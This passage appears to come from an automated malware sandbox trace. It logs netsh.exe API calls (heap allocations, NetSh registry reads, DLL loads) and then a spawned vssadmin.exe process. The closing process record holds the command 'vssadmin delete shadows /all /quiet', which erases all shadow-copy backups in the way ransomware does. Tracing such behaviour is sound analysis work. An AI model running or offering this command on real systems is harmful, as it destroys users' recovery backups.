(HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361680 [0085.673] GetProcessHeap () returned 0x340000 [0085.673] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x3616a0 [0085.673] GetProcessHeap () returned 0x340000 [0085.673] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x3616c0 [0085.673] GetProcessHeap () returned 0x340000 [0085.673] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x3616e0 [0085.673] GetProcessHeap () returned 0x340000 [0085.673] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361700 [0085.673] GetProcessHeap () returned 0x340000 [0085.673] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361720 [0085.673] GetProcessHeap () returned 0x340000 [0085.673] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361740 [0085.673] GetProcessHeap () returned 0x340000 [0085.673] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361760 [0085.673] GetProcessHeap () returned 0x340000 [0085.674] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361780 [0085.674] GetProcessHeap () returned 0x340000 [0085.674] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x3617a0 [0085.674] GetProcessHeap () returned 0x340000 [0085.674] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x3617c0 [0085.674] GetProcessHeap () returned 0x340000 [0085.674] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x3617e0 [0085.674] GetProcessHeap () returned 0x340000 [0085.674] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361800 [0085.674] GetProcessHeap () returned 0x340000 [0085.674] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361820 [0085.674] GetProcessHeap () returned 0x340000 [0085.674] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361840 [0085.674] GetProcessHeap () returned 0x340000 [0085.674] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361860 [0085.674] GetProcessHeap () returned 0x340000 [0085.674] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x3618c0 [0085.675] GetProcessHeap () returned 0x340000 [0085.675] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x3618e0 [0085.675] GetProcessHeap () returned 0x340000 [0085.675] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361900 [0085.675] GetProcessHeap () returned 0x340000 [0085.675] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361920 [0085.675] GetProcessHeap () returned 0x340000 [0085.675] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361940 [0085.675] GetProcessHeap () returned 0x340000 [0085.675] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361960 [0085.675] GetProcessHeap () returned 0x340000 [0085.675] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361980 [0085.675] GetProcessHeap () returned 0x340000 [0085.675] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x3619a0 [0085.675] GetProcessHeap () returned 0x340000 [0085.675] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x3619c0 [0085.675] GetProcessHeap () returned 0x340000 [0085.675] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x3619e0 [0085.675] GetProcessHeap () returned 0x340000 [0085.675] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361a00 [0085.675] GetProcessHeap () returned 0x340000 [0085.675] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361a20 [0085.675] GetProcessHeap () returned 0x340000 [0085.675] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361a40 [0085.675] GetProcessHeap () returned 0x340000 [0085.675] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361a60 [0085.675] GetProcessHeap () returned 0x340000 [0085.675] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361a80 [0085.676] GetProcessHeap () returned 0x340000 [0085.676] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361aa0 [0085.676] GetProcessHeap () returned 0x340000 [0085.676] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361ac0 [0085.676] GetProcessHeap () returned 0x340000 [0085.676] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361ae0 [0085.676] GetProcessHeap () returned 0x340000 [0085.676] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361b00 [0085.676] GetProcessHeap () returned 0x340000 [0085.676] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361b20 [0085.676] GetProcessHeap () returned 0x340000 [0085.676] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361b40 [0085.676] GetProcessHeap () returned 0x340000 [0085.676] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361b60 [0085.676] GetProcessHeap () returned 0x340000 [0085.676] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361b80 [0085.676] GetProcessHeap () returned 0x340000 [0085.676] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361ba0 [0085.676] GetProcessHeap () returned 0x340000 [0085.676] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361bc0 [0085.676] GetProcessHeap () returned 0x340000 [0085.676] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361be0 [0085.676] GetProcessHeap () returned 0x340000 [0085.676] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361c00 [0085.676] GetProcessHeap () returned 0x340000 [0085.676] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361c20 [0085.676] GetProcessHeap () returned 0x340000 [0085.676] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361c40 [0085.676] GetProcessHeap () returned 0x340000 [0085.676] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361c60 [0085.676] GetProcessHeap () returned 0x340000 [0085.676] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361c80 [0085.676] GetProcessHeap () returned 0x340000 [0085.676] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361ca0 [0085.676] GetProcessHeap () returned 0x340000 [0085.676] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361cc0 [0085.677] GetProcessHeap () returned 0x340000 [0085.677] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361ce0 [0085.677] GetProcessHeap () returned 0x340000 [0085.677] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361d00 [0085.755] GetProcessHeap () returned 0x340000 [0085.755] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361d20 [0085.755] GetProcessHeap () returned 0x340000 [0085.755] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361d40 [0085.755] GetProcessHeap () returned 0x340000 [0085.755] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361d60 [0085.755] GetProcessHeap () returned 0x340000 [0085.755] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361d80 [0085.755] GetProcessHeap () returned 0x340000 [0085.755] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361da0 [0085.755] GetProcessHeap () returned 0x340000 [0085.755] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361dc0 [0085.755] GetProcessHeap () returned 0x340000 [0085.755] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361de0 [0085.755] GetProcessHeap () returned 0x340000 [0085.756] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361e00 [0085.756] GetProcessHeap () returned 0x340000 [0085.756] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361e20 [0085.756] GetProcessHeap () returned 0x340000 [0085.756] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361e40 [0085.756] GetProcessHeap () returned 0x340000 [0085.756] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361e60 [0085.756] GetProcessHeap () returned 0x340000 [0085.756] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361e80 [0085.756] GetProcessHeap () returned 0x340000 [0085.756] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361ea0 [0085.756] GetProcessHeap () returned 0x340000 [0085.756] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361ec0 [0085.756] GetProcessHeap () returned 0x340000 [0085.756] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361ee0 [0085.756] GetProcessHeap () returned 0x340000 [0085.756] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361f00 [0085.756] GetProcessHeap () returned 0x340000 [0085.756] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361f20 [0085.756] GetProcessHeap () returned 0x340000 [0085.756] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361f40 [0085.756] GetProcessHeap () returned 0x340000 [0085.756] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361f60 [0085.756] GetProcessHeap () returned 0x340000 [0085.756] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361f80 [0085.756] GetProcessHeap () returned 0x340000 [0085.756] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361fa0 [0085.756] GetProcessHeap () returned 0x340000 [0085.756] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361fc0 [0085.757] GetProcessHeap () returned 0x340000 [0085.757] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x361fe0 [0085.757] GetProcessHeap () returned 0x340000 [0085.757] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x362000 [0085.757] GetProcessHeap () returned 0x340000 [0085.757] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x362020 [0085.757] GetProcessHeap () returned 0x340000 [0085.757] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x362040 [0085.757] GetProcessHeap () returned 0x340000 [0085.757] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x362060 [0085.757] GetProcessHeap () returned 0x340000 [0085.757] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x3620c0 [0085.757] GetProcessHeap () returned 0x340000 [0085.757] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x3620e0 [0085.757] GetProcessHeap () returned 0x340000 [0085.757] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x362100 [0085.757] GetProcessHeap () returned 0x340000 [0085.757] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x362120 [0085.757] GetProcessHeap () returned 0x340000 [0085.757] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x362140 [0085.757] GetProcessHeap () returned 0x340000 [0085.757] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x362160 [0085.757] GetProcessHeap () returned 0x340000 [0085.757] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x362180 [0085.757] GetProcessHeap () returned 0x340000 [0085.757] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x3621a0 [0085.757] GetProcessHeap () returned 0x340000 [0085.757] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x3621c0 [0085.757] GetProcessHeap () returned 0x340000 [0085.757] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x3621e0 [0085.757] GetProcessHeap () returned 0x340000 [0085.757] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x362200 [0085.758] GetProcessHeap () returned 0x340000 [0085.758] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x362220 [0085.758] GetProcessHeap () returned 0x340000 [0085.758] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x362240 [0085.758] GetProcessHeap () returned 0x340000 [0085.758] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x362260 [0085.758] GetProcessHeap () returned 0x340000 [0085.758] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x362280 [0085.758] GetProcessHeap () returned 0x340000 [0085.758] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x3622a0 [0085.758] GetProcessHeap () returned 0x340000 [0085.758] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x3622c0 [0085.758] GetProcessHeap () returned 0x340000 [0085.758] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x3622e0 [0085.758] GetProcessHeap () returned 0x340000 [0085.758] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x10) returned 0x362300 [0085.758] _wcsicmp (_String1="netsh.exe", _String2="ipxmontr.dll") returned 5 [0085.758] _wcsicmp (_String1="netsh.exe", _String2="ipxpromn.dll") returned 5 [0085.758] GetProcessHeap () returned 0x340000 [0085.758] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x28) returned 0x35e060 [0085.758] GetProcessHeap () returned 0x340000 [0085.758] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x2) returned 0x362890 [0085.758] GetProcessHeap () returned 0x340000 [0085.759] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x14) returned 0x362320 [0085.759] _wcsupr (in: _String="netsh.exe" | out: _String="NETSH.EXE") returned="NETSH.EXE" [0085.759] GetProcessHeap () returned 0x340000 [0085.759] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x340000) returned 1 [0085.759] GetProcessHeap () returned 0x340000 [0085.759] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x58) returned 0x3628b0 [0085.759] GetProcessHeap () returned 0x340000 [0085.759] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x340000) returned 1 [0085.759] GetProcessHeap () returned 0x340000 [0085.759] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0xb0) returned 0x362910 [0085.759] GetProcessHeap () returned 0x340000 [0085.759] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x3628b0 | out: hHeap=0x340000) returned 1 [0085.759] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\NetSh", ulOptions=0x0, samDesired=0x20019, phkResult=0x167508 | out: phkResult=0x167508*=0x90) returned 0x0 [0085.759] RegQueryInfoKeyW (in: hKey=0x90, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x167530, lpcbMaxValueNameLen=0x167540, lpcbMaxValueLen=0x167538, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x167530*=0x15, lpcbMaxValueNameLen=0x167540, lpcbMaxValueLen=0x167538, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0085.760] GetProcessHeap () returned 0x340000 [0085.760] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x16) returned 0x362340 [0085.760] GetProcessHeap () returned 0x340000 [0085.760] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x8, Size=0x23) returned 0x35e090 [0085.760] RegEnumValueW (in: hKey=0x90, dwIndex=0x0, lpValueName=0x362340, lpcchValueName=0x167500, lpReserved=0x0, lpType=0x0, lpData=0x35e090, lpcbData=0x167548 | out: lpValueName="4", lpcchValueName=0x167500, lpType=0x0, lpData=0x35e090, lpcbData=0x167548) returned 0x0 [0085.760] _wcsicmp (_String1="rasmontr.dll", _String2="ipxmontr.dll") returned 9 [0085.760] _wcsicmp (_String1="rasmontr.dll", _String2="ipxpromn.dll") returned 9 [0085.760] GetProcessHeap () returned 0x340000 [0085.760] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x50) returned 0x3628b0 [0085.760] GetProcessHeap () returned 0x340000 [0085.760] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x4) returned 0x3629d0 [0085.760] GetProcessHeap () returned 0x340000 [0085.760] RtlAllocateHeap (HeapHandle=0x340000, Flags=0x0, Size=0x1a) returned 0x35e0c0 [0085.760] _wcsupr (in: _String="rasmontr.dll" | out: _String="RASMONTR.DLL") returned="RASMONTR.DLL" [0085.760] GetProcessHeap () returned 0x340000 [0085.760] HeapFree (in: hHeap=0x340000, dwFlags=0x0, lpMem=0x35e060 | out: hHeap=0x340000) returned 1 [0085.760] LoadLibraryW (lpLibFileName="RASMONTR.DLL") Process: id = "6" image_name = "vssadmin.exe" filename = "c:\\windows\\system32\\vssadmin.exe" page_root = "0xf053000" os_pid = "0x914" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "4" os_parent_pid = "0x83c" cmd_line = "vssadmin delete shadows /all /quiet" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 27 os_tid = 0x924 Thread: id = 28 os_tid = 0x934 Thread: id = 29 os_tid = 0x944 Thread: id = 30 os_tid = 0x964 Thread: id = 31 os_tid = 0x974